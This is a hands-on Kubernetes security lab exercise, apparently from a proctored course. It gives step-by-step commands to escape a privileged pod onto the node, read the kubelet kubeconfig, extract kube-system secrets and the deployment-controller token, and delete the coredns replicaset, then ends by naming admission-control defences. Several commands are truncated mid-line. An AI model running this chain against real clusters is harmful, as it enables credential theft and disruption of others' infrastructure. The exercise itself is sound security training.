Exercise: Kubernetes Node Attacks

Steps

1. (*NOTE: You'll only need to do this step if you skipped the Kubernetes Cloud Attacks exercise*).

   The course proctors will provide you with a cloud cluster ID number (`N`). Store this number in your shell profile in a new variable `CLOUD_ID`, and then read this new variable into your environment now:

   ```
   # Replace the "N" in `CLOUD_ID=N` with the ID number provided by the proctors
   echo "export CLOUD_ID=N" >> ~/.bashrc
   source ~/.bashrc
   ```

2. We'll be using the same cloud cluster as in Kubernetes Cloud Attacks, so let's set an `alias`:

   ```
   alias kubectl="/home/lockthisdown/K8S-Exercise/kubectl \
   --server=$(cat /sync/.cloud_clusters/serverip-$CLOUD_ID ) \
   --token=$(cat /sync/.cloud_clusters/token-cluster-$CLOUD_ID ) \
   --certificate-authority=/sync/.cloud_clusters/ca.crt-$CLOUD_ID"
   ```

3. And test that it works:

   ```
   kubectl get pods
   ```

4. Let's launch a privileged pod. Let's ask kubectl to create a manifest for us:

   ```
   kubectl --dry-run=client -o yaml run priv --image=bustakube/alpine-small-attack
   ```

5. This outputs the `YAML` for a pod named `priv`, using the image `bustakube/alpine-small-attack` from Docker Hub. Let's add a field to it, by telling `kubectl` to use JSON output instead, then using `jq` to set a value:

   ```
   kubectl --dry-run=client -o json run priv --image=bustakube/alpine-small-attack | jq '.
   ```

6. OK, now let's write that to a file:

   ```
   kubectl --dry-run=client -o json run priv --image=bustakube/alpine-small-attack | jq '.
   ```

7. And now let's create the pod with the file:

   ```
   kubectl create -f pod-priv.json
   ```

8. Wait for the pod to be ready:

   ```
   kubectl wait --for=condition=ready pod/priv
   ```

9. Exec into your new pod:

   ```
   kubectl exec -it priv -- /bin/bash
   ```

10. This pod is privileged, so it has access to a full set of devices:

    ```
    ls /dev
    ```

11. Let's mount the node's root drive - we have skipped trying other partitions and gone straight to the one that applies here:

    ```
    mount /dev/sda1 /mnt
    ```

12. Let's copy `kubectl` from our pod into the node's filesystem:

    ```
    cp /usr/bin/kubectl /mnt/usr/bin/kubectl
    ```

13. Now `chroot` to the node's filesystem:

    ```
    chroot /mnt /bin/bash
    ```

14. You may have received an error message about how the shell (via groups) cannot look up the group ID 11. That's ok. It's a normal byproduct of chrooting. Now that we have access to the host filesystem, let's take a look at the kubelet's directory:

    ```
    ls /var/lib/kubelet
    ```

15. There's a `kubeconfig` file, which we can plug right into our `kubectl` command!

    ```
    cat /var/lib/kubelet/kubeconfig
    ```

    (On newer versions of Kubernetes, we'll find this file in '/etc/kubernetes/kubelet.conf"')

16. Now let's use it:

    ```
    kubectl --kubeconfig=/var/lib/kubelet/kubeconfig -n kube-system
    get secrets
    ```

17. We're listing the secrets from the kube-system namespace, which contains the primary control plane elements for the cluster. Prove to yourself that we can see the contents of secrets:

    ```
    kubectl --kubeconfig=/var/lib/kubelet/kubeconfig -n kube-system
    get secrets -o yaml
    ```

18. Now, let's get a significantly-privileged secret's JWT (JSON web token) - first get the token name for the deployment controller:

    ```
    secretname=$(kubectl --kubeconfig=/var/lib/kubelet/kubeconfig get secrets -n kube-syste
    ```

    Get the secret:

```
kubectl --kubeconfig=/var/lib/kubelet/kubeconfig -n kube-system get secret $secretname
```

19. Store the token in a variable called `secret`:

    ```
    secret=$(kubectl --kubeconfig=/var/lib/kubelet/kubeconfig -n kube-system get secret $se
    ```

20. To use this token instead of the `kubeconfig` file, we'll need to get an API server IP address and certificate authority file. Start by getting the IP address from your environment variables:

    ```
    env | grep KUBERNETES_PORT_443_TCP=
    ```

21. Store that IP address in a variable:

    ```
    ip=$(env | grep KUBERNETES_PORT_443_TCP= | awk -F\/ '{print $3}')
    ```

22. Now let's parse the certificate authority's cert out to `/ca.crt`:

    ```
    cat /var/lib/kubelet/kubeconfig  |grep  certificate-authority-data | awk '{print $2}' |
    ```

23. Now let's use the token and just run `get pods` to keep things simple and check if it's all working:

    ```
    alias kubectl="kubectl --token=$secret --server=https://$ip --certificate-authority=/ca

    kubectl -n kube-system get pods
    ```

24. We are working with the JWT for the deployment-controller, which manages all pods launched via deployment. Use the token to list deployments:

    ```
    kubectl -n kube-system get deployments
    ```

25. If you want to prove to yourself that you really have some serious privilege, let's damage the cluster. Let's see what we are allowed to do:

    ```
    kubectl -n kube-system auth can-i --list
    ```

26. Every deployment creates replicasets. We can delete create and delete replicasets in the `kube-system` namespace and, for that matter, in any namespace. We could delete the replicaset behind `kube-dns`. Let's get its name:

    ```
    kubectl -n kube-system get replicasets
    ```

27. Let's parse that name into a variable:

    ```
    rs=$( kubectl -n kube-system get replicasets | awk '{print $1}' | egrep 'coredns-\w+$'
    ```

28. Now, let's delete that `replicaset` and immediately after get a list of pods:

    ```
    kubectl -n kube-system delete replicaset $rs  ; kubectl -n kube-system get pods | grep
    ```

29. We see that some pods are terminating, while others are creating to replace them. This is good - the deployment controller is recreating the destroyed replica set.

30. This attack started with a pod that had a privileged container in it. Our goal in defending will be to prevent anyone from creating privileged containers. We can do this with Pod Security Policies/Standards, but also with third party admission controllers like Open Policy Agent (OPA) Gatekeeper, K-Rail, and Kyverno.